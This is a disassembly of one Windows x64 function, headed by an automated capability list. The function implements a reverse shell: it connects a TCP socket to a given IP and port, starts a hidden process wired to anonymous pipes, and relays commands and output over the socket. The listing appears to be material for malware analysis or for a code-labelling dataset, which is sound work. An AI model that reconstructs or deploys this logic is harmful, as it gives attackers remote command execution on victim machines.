Function at 0x140001b60
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create pipe
Create process on windows
Create reverse shell
Create tcp socket
Create two anonymous pipes
Create udp socket
Download and write a file
Get socket status
Initialize winsock library
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push rbp
push rbx
sub rsp, 0x928
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x8c0], rcx
mov dword [rbp + 0x8c8], edx
call fcn.140001a44
test al, al
je 0x140001b91
mov ecx, 1
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x6f0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x140001bde
lea rdx, str.Errore_durante_linizializzazione_di_Winsock
mov rcx, qword [str._W_v_]
call fcn.1400ae240
mov rdx, qword [0x1400bb100]
mov rcx, rax
call fcn.14006e820
mov ecx, 1
call sub.msvcrt.dll_exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x898], eax
cmp dword [rbp + 0x898], 0
jns 0x140001c32
lea rdx, str.Errore_nella_creazione_del_socket
mov rcx, qword [str._W_v_]
call fcn.1400ae240
mov rdx, qword [0x1400bb100]
mov rcx, rax
call fcn.14006e820
mov ecx, 1
call sub.msvcrt.dll_exit
mov word [rbp + 0x6e0], 2
mov eax, dword [rbp + 0x8c8]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x6e2], ax
mov rcx, qword [rbp + 0x8c0]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x6e4], eax
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rbp + 0x6e0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
shr eax, 0x1f
test al, al
je 0x140001cd4
lea rdx, str.Errore_nella_connessione
mov rcx, qword [str._W_v_]
call fcn.1400ae240
mov rdx, qword [0x1400bb100]
mov rcx, rax
call fcn.14006e820
mov eax, dword [rbp + 0x898]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
mov dword [rbp + 0x6a0], 0x18
mov dword [rbp + 0x6b0], 1
mov qword [rbp + 0x6a8], 0
lea rcx, [rbp + 0x6a0]
lea rdx, [rbp + 0x6d0]
lea rax, [rbp + 0x6d8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
je 0x140001d93
mov rax, qword [rbp + 0x6d0]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
test eax, eax
je 0x140001d93
lea rcx, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea rax, [rbp + 0x6c8]
mov r9d, 0
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreatePipe]
call rax
test eax, eax
je 0x140001d93
mov rax, qword [rbp + 0x6c8]
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call rax
test eax, eax
jne 0x140001d9a
mov eax, 1
jmp 0x140001d9f
mov eax, 0
test al, al
je 0x140001dcf
lea rdx, str.Errore_nella_creazione_delle_pipe
mov rcx, qword [str._W_v_]
call fcn.1400ae240
mov rdx, qword [0x1400bb100]
mov rcx, rax
call fcn.14006e820
mov ecx, 1
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x630]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x630], 0x68
mov dword [rbp + 0x66c], 0x100
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x690], rax
mov byte [rbp + 0x897], 0x55
movzx edx, byte [rbp + 0x897]
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.140001a7d
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.140028520
mov rcx, rax
lea rax, [rbp + 0x610]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x630]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x140001ef5
lea rdx, str.Errore_nella_creazione_del_processo._Codice_errore:
mov rcx, qword [str._W_v_]
call fcn.1400ae240
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call fcn.14006ea60
mov rdx, qword [0x1400bb100]
mov rcx, rax
call fcn.14006e820
mov ecx, 1
call sub.msvcrt.dll_exit
mov dword [rbp - 0x20], 0
mov dword [rbp + 0x89c], 0
mov eax, dword [rbp - 0x20]
cmp dword [rbp + 0x89c], eax
jae 0x140001f33
mov eax, dword [rbp + 0x89c]
mov rdx, qword [rbp + rax*8 - 0x18]
mov eax, dword [rbp + 0x898]
cdqe
cmp rdx, rax
je 0x140001f32
add dword [rbp + 0x89c], 1
jmp 0x140001f06
nop
mov eax, dword [rbp - 0x20]
cmp dword [rbp + 0x89c], eax
jne 0x140001f63
mov eax, dword [rbp - 0x20]
cmp eax, 0x3f
ja 0x140001f63
mov eax, dword [rbp + 0x898]
movsxd rdx, eax
mov eax, dword [rbp + 0x89c]
mov qword [rbp + rax*8 - 0x18], rdx
mov eax, dword [rbp - 0x20]
add eax, 1
mov dword [rbp - 0x20], eax
mov dword [rbp - 0x28], 1
mov dword [rbp - 0x24], 0
mov eax, dword [rbp + 0x898]
lea ecx, [rax + 1]
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
mov dword [rbp + 0x890], eax
cmp dword [rbp + 0x890], 0
jle 0x140001fcd
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rbp - 0x20]
mov rcx, rax
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x140001fcd
mov eax, 1
jmp 0x140001fd2
mov eax, 0
test al, al
je 0x140002046
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rbp + 0x1f0]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x88c], eax
cmp dword [rbp + 0x88c], 0
jle 0x14000211f
mov ecx, dword [rbp + 0x88c]
mov rax, qword [rbp + 0x6d0]
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x1f0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x6c8]
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x1ec]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
call rax
test eax, eax
je 0x140002094
mov eax, dword [rbp + 0x1ec]
test eax, eax
je 0x140002094
mov eax, 1
jmp 0x140002099
mov eax, 0
test al, al
je 0x140001ef5
mov rax, qword [rbp + 0x6c8]
lea rcx, [rbp + 0x1ec]
lea rdx, [rbp + 0x1f0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov eax, dword [rbp + 0x1ec]
mov ecx, eax
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rbp + 0x1f0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
lea rax, [rbp + 0x1f0]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
jmp 0x140001ef5
nop
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x610]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x610]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x618]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0x898]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.14009e8f0
jmp 0x1400021f6
add rsp, 0x928
pop rbx
pop rbp
ret